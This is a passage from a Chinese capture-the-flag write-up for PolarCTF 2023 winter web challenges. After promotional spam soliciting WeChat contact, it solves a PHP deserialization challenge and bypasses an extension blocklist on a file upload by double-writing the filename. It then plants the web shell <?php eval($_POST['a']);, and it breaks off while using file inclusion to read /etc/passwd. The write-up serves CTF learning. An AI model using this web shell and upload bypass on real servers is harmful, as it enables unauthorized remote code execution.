PolarCTF2023冬季个人挑战赛wp含web、misc、crypto_polar冬季赛

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要体系化学习资料的朋友，可以加我V获取：vip204888 （备注网络安全）

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

<?php
class Index
{
    private $Polar1 = 3;
    private $Polar2 = 3;
    protected $Night = 3;
    protected $Light = 3;

    function getflag($flag)
    {
        $Polar2 = rand(0, 100);
        if ($this->Polar1 === $this->Polar2) {
            $Light = rand(0, 100);
            if ($this->Night === $this->Light) {
                echo $flag;
            }
        } else {
            echo "Your wrong!!!";
        }
    }
}
$a = new Index();
echo urlencode(serialize($a));
# O%3A5%3A%22Index%22%3A4%3A%7Bs%3A13%3A%22%00Index%00Polar1%22%3Bi%3A3%3Bs%3A13%3A%22%00Index%00Polar2%22%3Bi%3A3%3Bs%3A8%3A%22%00%2A%00Night%22%3Bi%3A3%3Bs%3A8%3A%22%00%2A%00Light%22%3Bi%3A3%3B%7D

因为php是不能直接给private和protected的变量直接赋值的，所以rand()函数直接废掉，不起作用
又或者变量引用

$a->Polar1=&$a->Polar2;
$a->Night=&$a->Light;

---

web-upload

$is\_upload = false;
$msg = null;
if (isset($\_POST['submit'])) {
    if (file\_exists(UPLOAD\_PATH)) {
        $deny\_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 
        $file\_name = trim($\_FILES['upload\_file']['name']);
        $file\_name = str\_ireplace($deny\_ext,"", $file\_name);
        $temp\_file = $\_FILES['upload\_file']['tmp\_name'];
        $img\_path = UPLOAD\_PATH.'/'.rand(10000,99999).$file\_name;        
        if (move\_uploaded\_file($temp\_file, $img\_path)) {
            $is\_upload = true;
        } else {
            $msg = '上传出错！';
        }
    } else {
        $msg = UPLOAD\_PATH . '文件夹不存在,请手工创建！';
    }
}

明显双写绕过，将木马文件命名为a.pphphp即可，文件内容<?php eval($_POST['a']);
上传文件之后，可以F12查看网络，就可以看到文件上传的位置了，再用蚁剑连接即可
(补题发现，秋季那道ezupload，上传GIF文件，再抓包改php后缀，蚁剑，不过我连接的时候，警告返回数据为空？？不应该啊)

---

web-你的马呢？

经典文件上传，注意到URL，可能存在文件包含，发现可以/etc/passwd，先读一下源码url/index.php?f